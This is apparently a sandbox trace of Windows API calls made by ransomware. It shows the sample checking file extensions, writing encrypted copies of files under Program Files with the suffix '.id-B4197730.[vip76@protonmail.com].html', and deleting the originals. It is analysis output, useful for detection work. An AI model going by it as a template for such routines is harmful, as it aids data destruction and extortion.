	[0064.269] lstrlenW (lpString=".bz2") returned 4
	[0064.269] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0064.269] lstrlenW (lpString=".7z") returned 3
	[0064.270] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0064.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0064.270] lstrlenW (lpString=".dbf") returned 4
	[0064.270] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0064.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0064.270] lstrlenW (lpString=".1cd") returned 4
	[0064.270] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0064.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0064.270] lstrlenW (lpString=".jpg") returned 4
	[0064.270] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0064.270] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0064.270] lstrlenW (lpString="join.avi") returned 8
	[0064.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.270] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=199994) returned 1
	[0064.270] CloseHandle (hObject=0x364) returned 1
	[0064.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20
	[0064.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0064.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0064.271] lstrlenW (lpString=".doc") returned 4
	[0064.271] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0064.271] lstrlenW (lpString=".docx") returned 5
	[0064.271] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0064.271] lstrlenW (lpString=".pdf") returned 4
	[0064.271] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0064.271] lstrlenW (lpString=".xls") returned 4
	[0064.271] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0064.271] lstrlenW (lpString=".xlsx") returned 5
	[0064.271] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0064.271] lstrlenW (lpString=".ppt") returned 4
	[0064.271] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0064.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0064.271] lstrlenW (lpString=".zip") returned 4
	[0064.271] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0064.271] lstrlenW (lpString=".rar") returned 4
	[0064.271] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0064.271] lstrlenW (lpString=".bz2") returned 4
	[0064.271] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0064.271] lstrlenW (lpString=".7z") returned 3
	[0064.272] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0064.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0064.272] lstrlenW (lpString=".dbf") returned 4
	[0064.272] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0064.300] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0064.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0065.441] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.441] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.441] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0065.441] GetLastError () returned 0x0
	[0065.441] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x2fda, lpOverlapped=0x0) returned 1
	[0065.491] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x2fe0, lpOverlapped=0x0) returned 1
	[0065.492] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.492] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xfc, lpOverlapped=0x0) returned 1
	[0065.492] SetEndOfFile (hFile=0x338) returned 1
	[0065.492] CloseHandle (hObject=0x338) returned 1
	[0065.493] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.493] SetEndOfFile (hFile=0x328) returned 1
	[0065.494] CloseHandle (hObject=0x328) returned 1
	[0065.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.495] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1
	[0065.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0065.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0065.495] lstrlenW (lpString=".doc") returned 4
	[0065.495] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.495] lstrlenW (lpString=".docx") returned 5
	[0065.495] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0065.495] lstrlenW (lpString=".pdf") returned 4
	[0065.495] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.495] lstrlenW (lpString=".xls") returned 4
	[0065.495] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.495] lstrlenW (lpString=".xlsx") returned 5
	[0065.495] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0065.495] lstrlenW (lpString=".ppt") returned 4
	[0065.495] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0065.496] lstrlenW (lpString=".zip") returned 4
	[0065.496] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.496] lstrlenW (lpString=".rar") returned 4
	[0065.496] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.496] lstrlenW (lpString=".bz2") returned 4
	[0065.496] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.496] lstrlenW (lpString=".7z") returned 3
	[0065.496] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0065.496] lstrlenW (lpString=".dbf") returned 4
	[0065.496] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0065.496] lstrlenW (lpString=".1cd") returned 4
	[0065.496] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0065.496] lstrlenW (lpString=".jpg") returned 4
	[0065.496] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0065.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0065.496] lstrlenW (lpString=".doc") returned 4
	[0065.496] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.496] lstrlenW (lpString=".docx") returned 5
	[0065.496] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0065.496] lstrlenW (lpString=".pdf") returned 4
	[0065.496] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.496] lstrlenW (lpString=".xls") returned 4
	[0065.496] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.496] lstrlenW (lpString=".xlsx") returned 5
	[0065.496] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0065.497] lstrlenW (lpString=".ppt") returned 4
	[0065.497] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0065.497] lstrlenW (lpString=".zip") returned 4
	[0065.497] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.497] lstrlenW (lpString=".rar") returned 4
	[0065.497] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.497] lstrlenW (lpString=".bz2") returned 4
	[0065.497] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.497] lstrlenW (lpString=".7z") returned 3
	[0065.497] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0065.497] lstrlenW (lpString=".dbf") returned 4
	[0065.497] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0065.497] lstrlenW (lpString=".1cd") returned 4
	[0065.497] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0065.497] lstrlenW (lpString=".jpg") returned 4
	[0065.497] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.497] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1
	[0065.497] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25
	[0065.497] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.499] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=153) returned 1
	[0065.499] CloseHandle (hObject=0x328) returned 1
	[0065.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20
	[0065.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.499] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.499] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.499] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.499] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0065.500] GetLastError () returned 0x0
	[0065.500] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x99, lpOverlapped=0x0) returned 1
	[0065.501] WriteFile (in: hFile=0x364, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xa0, lpOverlapped=0x0) returned 1
	[0065.502] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.502] WriteFile (in: hFile=0x364, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x106, lpOverlapped=0x0) returned 1
	[0065.503] SetEndOfFile (hFile=0x364) returned 1
	[0065.512] CloseHandle (hObject=0x364) returned 1
	[0065.513] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.513] SetEndOfFile (hFile=0x328) returned 1
	[0065.514] CloseHandle (hObject=0x328) returned 1
	[0065.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.514] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1
	[0065.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0065.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0065.514] lstrlenW (lpString=".doc") returned 4
	[0065.515] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.515] lstrlenW (lpString=".docx") returned 5
	[0065.515] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.515] lstrlenW (lpString=".pdf") returned 4
	[0065.515] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.515] lstrlenW (lpString=".xls") returned 4
	[0065.515] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.515] lstrlenW (lpString=".xlsx") returned 5
	[0065.515] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.515] lstrlenW (lpString=".ppt") returned 4
	[0065.515] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0065.515] lstrlenW (lpString=".zip") returned 4
	[0065.515] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.515] lstrlenW (lpString=".rar") returned 4
	[0065.515] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.515] lstrlenW (lpString=".bz2") returned 4
	[0065.515] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.515] lstrlenW (lpString=".7z") returned 3
	[0065.515] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0065.515] lstrlenW (lpString=".dbf") returned 4
	[0065.515] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0065.515] lstrlenW (lpString=".1cd") returned 4
	[0065.515] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0065.515] lstrlenW (lpString=".jpg") returned 4
	[0065.515] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0065.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0065.516] lstrlenW (lpString=".doc") returned 4
	[0065.516] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.516] lstrlenW (lpString=".docx") returned 5
	[0065.516] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.516] lstrlenW (lpString=".pdf") returned 4
	[0065.516] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.516] lstrlenW (lpString=".xls") returned 4
	[0065.516] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.516] lstrlenW (lpString=".xlsx") returned 5
	[0065.516] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.516] lstrlenW (lpString=".ppt") returned 4
	[0065.516] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0065.516] lstrlenW (lpString=".zip") returned 4
	[0065.516] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.516] lstrlenW (lpString=".rar") returned 4
	[0065.516] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.516] lstrlenW (lpString=".bz2") returned 4
	[0065.517] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.517] lstrlenW (lpString=".7z") returned 3
	[0065.517] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0065.517] lstrlenW (lpString=".dbf") returned 4
	[0065.517] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0065.517] lstrlenW (lpString=".1cd") returned 4
	[0065.517] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0065.517] lstrlenW (lpString=".jpg") returned 4
	[0065.517] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.517] lstrcmpiW (lpString1=".dat", lpString2=".html") returned -1
	[0065.517] lstrlenW (lpString="tzdb.dat") returned 8
	[0065.517] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.518] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=105500) returned 1
	[0065.518] CloseHandle (hObject=0x328) returned 1
	[0065.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20
	[0065.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.518] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.518] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.519] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.519] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0065.519] GetLastError () returned 0x0
	[0065.519] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x19c1c, lpOverlapped=0x0) returned 1
	[0065.538] WriteFile (in: hFile=0x364, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x19c20, lpOverlapped=0x0) returned 1
	[0065.540] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.540] WriteFile (in: hFile=0x364, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0065.540] SetEndOfFile (hFile=0x364) returned 1
	[0065.541] CloseHandle (hObject=0x364) returned 1
	[0065.543] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.543] SetEndOfFile (hFile=0x328) returned 1
	[0065.545] CloseHandle (hObject=0x328) returned 1
	[0065.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.545] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1
	[0065.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0065.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0065.546] lstrlenW (lpString=".doc") returned 4
	[0065.546] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0065.546] lstrlenW (lpString=".docx") returned 5
	[0065.546] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1
	[0065.546] lstrlenW (lpString=".pdf") returned 4
	[0065.546] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0065.546] lstrlenW (lpString=".xls") returned 4
	[0065.546] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0065.546] lstrlenW (lpString=".xlsx") returned 5
	[0065.546] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1
	[0065.546] lstrlenW (lpString=".ppt") returned 4
	[0065.546] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0065.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0065.546] lstrlenW (lpString=".zip") returned 4
	[0065.546] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
